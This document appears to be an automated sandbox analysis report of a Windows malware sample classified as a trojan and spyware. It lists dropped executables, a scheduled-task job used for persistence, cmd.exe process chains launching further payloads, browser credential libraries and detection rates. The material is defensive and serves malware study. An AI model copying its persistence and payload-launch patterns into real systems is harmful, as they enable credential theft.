Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0BB8C0 rand_s,NtQueryVirtualMemory, 4_2_6C0BB8C0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError, 4_2_6C0BB910
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C05F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 4_2_6C05F280
Creates files inside the system directory
Source: C:\Users\user\Desktop\So7a8eQerR.exe File created: C:\Windows\Tasks\explorti.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Code function: 3_2_005CE410 3_2_005CE410
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Code function: 3_2_00603048 3_2_00603048
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Code function: 3_2_005C4CD0 3_2_005C4CD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Code function: 3_2_005F7D63 3_2_005F7D63
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Code function: 3_2_0060763B 3_2_0060763B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Code function: 3_2_00606EE9 3_2_00606EE9
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Code function: 3_2_005C4AD0 3_2_005C4AD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Code function: 3_2_0060775B 3_2_0060775B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Code function: 3_2_00608700 3_2_00608700
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Code function: 3_2_00602BB0 3_2_00602BB0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0535A0 4_2_6C0535A0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0CAC00 4_2_6C0CAC00
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C095C10 4_2_6C095C10
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0A2C10 4_2_6C0A2C10
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0C542B 4_2_6C0C542B
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C065440 4_2_6C065440
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0C545C 4_2_6C0C545C
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C066C80 4_2_6C066C80
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0B34A0 4_2_6C0B34A0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0BC4A0 4_2_6C0BC4A0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0664C0 4_2_6C0664C0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C07D4D0 4_2_6C07D4D0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C05D4E0 4_2_6C05D4E0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C096CF0 4_2_6C096CF0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C06FD00 4_2_6C06FD00
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C07ED10 4_2_6C07ED10
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C080512 4_2_6C080512
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C090DD0 4_2_6C090DD0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0B85F0 4_2_6C0B85F0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0A5600 4_2_6C0A5600
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C097E10 4_2_6C097E10
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0B9E30 4_2_6C0B9E30
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0A2E4E 4_2_6C0A2E4E
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C074640 4_2_6C074640
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C079E50 4_2_6C079E50
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C093E50 4_2_6C093E50
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0C6E63 4_2_6C0C6E63
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C05C670 4_2_6C05C670
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0BE680 4_2_6C0BE680
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C075E90 4_2_6C075E90
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0B4EA0 4_2_6C0B4EA0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0C76E3 4_2_6C0C76E3
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C05BEF0 4_2_6C05BEF0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C06FEF0 4_2_6C06FEF0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C069F00 4_2_6C069F00
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C097710 4_2_6C097710
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0A77A0 4_2_6C0A77A0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C05DFE0 4_2_6C05DFE0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C086FF0 4_2_6C086FF0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C067810 4_2_6C067810
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C09B820 4_2_6C09B820
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0A4820 4_2_6C0A4820
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C078850 4_2_6C078850
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C07D850 4_2_6C07D850
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C09F070 4_2_6C09F070
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0860A0 4_2_6C0860A0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0C50C7 4_2_6C0C50C7
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C07C0E0 4_2_6C07C0E0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0958E0 4_2_6C0958E0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C07A940 4_2_6C07A940
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C06D960 4_2_6C06D960
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0AB970 4_2_6C0AB970
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0CB170 4_2_6C0CB170
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C095190 4_2_6C095190
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0B2990 4_2_6C0B2990
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C05C9A0 4_2_6C05C9A0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C08D9B0 4_2_6C08D9B0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C099A60 4_2_6C099A60
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0CBA90 4_2_6C0CBA90
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0522A0 4_2_6C0522A0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C084AA0 4_2_6C084AA0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C06CAB0 4_2_6C06CAB0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0C2AB0 4_2_6C0C2AB0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C098AC0 4_2_6C098AC0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C071AF0 4_2_6C071AF0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C09E2F0 4_2_6C09E2F0
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C09D320 4_2_6C09D320
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C055340 4_2_6C055340
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C06C370 4_2_6C06C370
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C05F380 4_2_6C05F380
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0C53C8 4_2_6C0C53C8
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: String function: 6C08CBE8 appears 134 times
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: String function: 6C0994D0 appears 90 times
Uses 32bit PE files
Source: So7a8eQerR.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: So7a8eQerR.exe Static PE information: Section: ZLIB complexity 0.9984097506830601
Source: So7a8eQerR.exe Static PE information: Section: ohmzqnep ZLIB complexity 0.9941242376864512
Source: explorti.exe.0.dr Static PE information: Section: ZLIB complexity 0.9984097506830601
Source: explorti.exe.0.dr Static PE information: Section: ohmzqnep ZLIB complexity 0.9941242376864512
Source: random[1].exe.3.dr Static PE information: Section: ZLIB complexity 0.9996427210365854
Source: random[1].exe.3.dr Static PE information: Section: ZLIB complexity 0.99188232421875
Source: random[1].exe.3.dr Static PE information: Section: ZLIB complexity 0.9896240234375
Source: 37664d9843.exe.3.dr Static PE information: Section: ZLIB complexity 0.9996427210365854
Source: 37664d9843.exe.3.dr Static PE information: Section: ZLIB complexity 0.99188232421875
Source: 37664d9843.exe.3.dr Static PE information: Section: ZLIB complexity 0.9896240234375
Source: 586ef238b2.exe.3.dr Static PE information: Section: ZLIB complexity 0.9996427210365854
Source: 586ef238b2.exe.3.dr Static PE information: Section: ZLIB complexity 0.99188232421875
Source: 586ef238b2.exe.3.dr Static PE information: Section: ZLIB complexity 0.9896240234375
Source: amadka[1].exe.4.dr Static PE information: Section: ZLIB complexity 0.9984097506830601
Source: amadka[1].exe.4.dr Static PE information: Section: ohmzqnep ZLIB complexity 0.9941242376864512
Source: GIEHIDHJDB.exe.4.dr Static PE information: Section: ZLIB complexity 0.9984097506830601
Source: GIEHIDHJDB.exe.4.dr Static PE information: Section: ohmzqnep ZLIB complexity 0.9941242376864512
Source: CBFIIEHJDB.exe.15.dr Static PE information: Section: ZLIB complexity 0.9984097506830601
Source: CBFIIEHJDB.exe.15.dr Static PE information: Section: ohmzqnep ZLIB complexity 0.9941242376864512
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@29/45@0/3
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C0B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree, 4_2_6C0B7030
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7644:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7248:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7444:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7680:120:WilError_03
Source: C:\Users\user\Desktop\So7a8eQerR.exe File created: C:\Users\user\AppData\Local\Temp\ad40971b6b Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Desktop\So7a8eQerR.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: softokn3[1].dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: 37664d9843.exe, 00000004.00000002.1976588662.000000001D8E0000.00000004.00000020.00020000.00000000.sdmp, 37664d9843.exe, 00000004.00000002.1984169473.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 37664d9843.exe, 00000004.00000002.1984622236.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, 586ef238b2.exe, 0000000F.00000002.3360313629.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3350248337.000000001CE06000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3360962751.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, nss3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: 37664d9843.exe, 00000004.00000002.1976588662.000000001D8E0000.00000004.00000020.00020000.00000000.sdmp, 37664d9843.exe, 00000004.00000002.1984169473.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 37664d9843.exe, 00000004.00000002.1984622236.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, 586ef238b2.exe, 0000000F.00000002.3360313629.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3350248337.000000001CE06000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3360962751.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, nss3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 37664d9843.exe, 00000004.00000002.1976588662.000000001D8E0000.00000004.00000020.00020000.00000000.sdmp, 37664d9843.exe, 00000004.00000002.1984169473.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 37664d9843.exe, 00000004.00000002.1984622236.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, 586ef238b2.exe, 0000000F.00000002.3360313629.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3350248337.000000001CE06000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3360962751.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, nss3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 37664d9843.exe, 00000004.00000002.1976588662.000000001D8E0000.00000004.00000020.00020000.00000000.sdmp, 37664d9843.exe, 00000004.00000002.1984169473.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 37664d9843.exe, 00000004.00000002.1984622236.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, 586ef238b2.exe, 0000000F.00000002.3360313629.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3350248337.000000001CE06000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3360962751.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, nss3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: 37664d9843.exe, 00000004.00000002.1976588662.000000001D8E0000.00000004.00000020.00020000.00000000.sdmp, 37664d9843.exe, 00000004.00000002.1984169473.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 37664d9843.exe, 00000004.00000002.1984622236.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, 586ef238b2.exe, 0000000F.00000002.3360313629.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3350248337.000000001CE06000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3360962751.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, nss3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 37664d9843.exe, 00000004.00000002.1976588662.000000001D8E0000.00000004.00000020.00020000.00000000.sdmp, 37664d9843.exe, 00000004.00000002.1984169473.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3360313629.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3350248337.000000001CE06000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 37664d9843.exe, 00000004.00000002.1976588662.000000001D8E0000.00000004.00000020.00020000.00000000.sdmp, 37664d9843.exe, 00000004.00000002.1984169473.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 37664d9843.exe, 00000004.00000002.1984622236.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, 586ef238b2.exe, 0000000F.00000002.3360313629.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3350248337.000000001CE06000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3360962751.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, nss3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: 37664d9843.exe, 00000004.00000003.1846765666.0000000023854000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000003.3211836849.0000000022D84000.00000004.00000020.00020000.00000000.sdmp, DGHCBAAEHCFIDGDHJEHC.15.dr Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 37664d9843.exe, 00000004.00000002.1976588662.000000001D8E0000.00000004.00000020.00020000.00000000.sdmp, 37664d9843.exe, 00000004.00000002.1984169473.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3360313629.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3350248337.000000001CE06000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: 37664d9843.exe, 00000004.00000002.1976588662.000000001D8E0000.00000004.00000020.00020000.00000000.sdmp, 37664d9843.exe, 00000004.00000002.1984169473.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3360313629.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3350248337.000000001CE06000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;
Source: So7a8eQerR.exe ReversingLabs: Detection: 42%
Source: So7a8eQerR.exe Virustotal: Detection: 47%
Source: So7a8eQerR.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: GIEHIDHJDB.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\So7a8eQerR.exe File read: C:\Users\user\Desktop\So7a8eQerR.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\So7a8eQerR.exe "C:\Users\user\Desktop\So7a8eQerR.exe"
Source: C:\Users\user\Desktop\So7a8eQerR.exe Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Process created: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe "C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe"
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CFCBKKKJJJ.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe "C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Process created: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe "C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe"
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\AAFIIJDAAA.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe "C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe"
Source: C:\Users\user\Desktop\So7a8eQerR.exe Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Process created: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe "C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Process created: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe "C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CFCBKKKJJJ.exe" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe "C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe" Jump to behavior
